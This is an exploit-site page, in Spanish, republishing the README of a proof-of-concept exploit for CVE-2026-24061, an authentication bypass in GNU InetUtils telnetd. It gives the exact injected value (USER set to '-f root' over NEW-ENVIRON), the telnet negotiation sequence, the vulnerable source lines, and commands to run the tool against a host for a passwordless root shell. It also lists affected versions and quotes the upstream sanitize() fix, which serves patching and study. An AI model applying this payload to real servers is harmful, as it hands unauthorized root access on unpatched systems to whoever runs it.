Sploitus

Exploit for CVE-2026-24061

kitploit · 2026-08-27

Exploit Code

MARKDOWN114 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-PRZEMYTN-CVE-2026-24061
# CVE-2026-24061 - omisión de autenticación en telnetd

## de qué se trata

Inyección de argumentos en `telnetd` de GNU InetUtils. Versiones 1.9.3 a 2.7. CVSS 9.8. En CISA KEV desde el 26.01.2026, es decir, explotado activamente en la naturaleza.

Todo el truco consiste en que telnetd toma el valor de la variable de entorno `USER` del cliente a través de NEW-ENVIRON (RFC 1572) y lo inserta sin ninguna validación directamente en la invocación de `login(1)`. Si el cliente envía `USER="-f root"`, telnetd ejecutará:

root@kitploit:~
    
    
    /usr/bin/login -p -h <host> -f root
    

La bandera `-f` en login significa "iniciar sesión como este usuario sin contraseña". Shell de root, cero autenticación.

## mecanismo

En `telnetd/telnetd.c` hay una plantilla de invocación de login:

root@kitploit:~
    
    
    char *login_invocation = PATH_LOGIN " -p -h %h %?u{-f %u}{%U}";
    

`%u` es el usuario de la autenticación telnet (confiable). `%U` es el valor crudo de la env `USER` del cliente (no confiable). Cuando la autenticación no está activa, se usa `%U`.

La expansión de variables está en `telnetd/utility.c`, función `_var_short_name`:

root@kitploit:~
    
    
    case 'U':
        return getenv("USER") ? xstrdup(getenv("USER")) : xstrdup("");
    

Cero filtrado. Cualquier cosa que el cliente envíe en USER va directo a la línea de comandos de login. No solo `-f root` funciona, teóricamente se puede inyectar cualquier argumento que login acepte.

El bug fue introducido en un commit de salvaguarda upstream del 2015-03-19 (`fa3245ac`). Irónicamente, ese commit pretendía mejorar el manejo de la variable USER. Debian tenía un parche para esto en 2019 (`0028-telnetd-Scrub-USER-from-environment.patch`), pero al corregir CVE-2020-10188 en Debian 10 el parche se perdió y el bug volvió. Así que también son vulnerables Debian 10+, Ubuntu y derivados.

## cómo funciona el poc

`main.py` es un cliente telnet mínimo que:

  1. se conecta al puerto 23
  2. en la negociación acepta NEW-ENVIRON, el resto de opciones WONT
  3. ante la solicitud SEND responde `IAC SB NEW_ENVIRON IS VAR "USER" VALUE "-f root" IAC SE`
  4. telnetd ejecuta `login -f root`, obtienes shell
  5. luego funciona como una sesión interactiva, filtra IAC y escapes ANSI de la salida



root@kitploit:~
    
    
    cliente                                servidor
      |--- tcp connect ------------------->|
      |<-- IAC DO NEW_ENVIRON -------------|
      |--- IAC WILL NEW_ENVIRON ---------->|
      |<-- IAC SB NEW_ENVIRON SEND --------|
      |--- SB NEW_ENVIRON IS              |
      |    VAR "USER" VALUE "-f root"      |
      |    IAC SE ------------------------>|
      |    [telnetd: login -p -h x -f root]|
      |<-- root@host:~# ------------------|
    

## uso

root@kitploit:~
    
    
    python3 main.py <host>
    python3 main.py <host> -p <port>
    

Ctrl+C termina la sesión.

## qué no hacer

No intentes esto en sistemas que no tengan `inetutils-telnetd`. El paquete `telnetd` de netkit es otro código, no es vulnerable a este bug específico. Si te conectas y recibes un prompt de login normal en lugar de un shell, o el servidor ya tiene el parche, o no es telnetd de inetutils.

No cambies el payload a `-f <otro_usuario>` esperando que funcione en cualquier sistema. login(1) de algunas distribuciones tiene restricciones adicionales sobre `-f`. En Debian/Ubuntu estándar `-f root` funciona sin problemas.

## versiones afectadas

software| versiones  
---|---  
GNU InetUtils| 1.9.3 - 2.7  
Debian 10+| inetutils-telnetd (hasta el parche)  
Debian 11| corregido en 2:2.0-1+deb11u3  
Ubuntu| inetutils-telnetd (hasta el parche)  
  
## parche

El fix oficial añade una función `sanitize()` que rechaza valores que comiencen con `-` o que contengan metacaracteres de shell. Aplicada a todas las variables en la expansión, no solo USER.

root@kitploit:~
    
    
    static char *
    sanitize (const char *u)
    {
      if (u && *u != '-' && !u[strcspn(u, "\t\n !\"#$&'()*;<=>?[\\^`{|}~")])
        return u;
      else
        return "";
    }
    

  * `fd702c0` \- parche USER
  * `ccba9f7` \- saneamiento de todas las variables